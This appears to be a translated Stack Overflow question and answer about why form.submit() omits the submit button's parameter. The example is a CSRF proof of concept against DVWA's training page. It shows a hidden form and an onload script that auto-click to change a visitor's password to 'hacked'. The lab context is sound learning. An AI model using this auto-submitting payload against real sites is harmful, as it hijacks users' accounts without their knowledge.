javascript - 为什么在表单上调用提交并单击提交按钮会产生不同的 GET 参数？

Question

我正在尝试一个简单的 CSRF 攻击并遇到了一个问题。
如果我有一个包含此表单的虚拟站点:

<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
    <input type="password" autocomplete="off" name="password_new" value="hacked"><br>
    <input type="password" autocomplete="off" name="password_conf" value="hacked">
    <input type="submit" value="Change" name="Change">
</form>

我最初的想法是通过调用脚本标签 submit 来让这个表单“自我提交”。在页面加载表单上，以在用户访问页面时自动更改用户密码:

<script>
    window.onload = (_) => {
        const form = document.getElementsByTagName("form")[0];
        form.submit();
    };
</script>

这看起来有效，但密码未能更改。在查看 GET 参数时，我意识到这是因为它没有包含 Change参数(提交按钮本身)。它产生了:

?password_new=hacked&password_conf=hacked

代替:

?password_new=hacked&password_conf=hacked&Change=Change

我猜这会导致它在后端的验证检查失败。
它看起来很hacky，但我能够通过拥有它来修复它 click提交按钮而不是 submit直接输入表格:

<script>
    window.onload = (_) => {
        const submit = document.getElementsByName("Change")[0];
        submit.click();
    };
</script>

我查看了相关的 MDN page , 它注意到调用 submit与点击提交按钮有两个不同:

• No submit event is raised. In particular, the form's onsubmit event handler is not run.
• Constraint validation is not triggered.

目前尚不清楚为什么 onsubmit不触发会影响发送的 GET 参数，所以我不确定这是否相关。
显然，对于使用 GET 作为方法的表单，我可以手动构造带有查询参数的 URL，而不必担心有表单。不过，为了学习(如果我想在将来操作使用 POST 的表单)，我想了解这里发生了什么。

我试图“攻击”的页面是 DVWA 的密码更改 CSRF 页面。

Answer 1

一个表单可以有多个提交按钮，具有不同的名称和/或值。
当您单击提交按钮并执行默认提交操作时，您单击的按钮的名称和值将包含在提交表单时的表单参数中。
当您调用submit()方法没有关联的按钮单击，因此参数中不会包含按钮名称和值。如果表单有多个提交按钮，您希望它发送哪个按钮？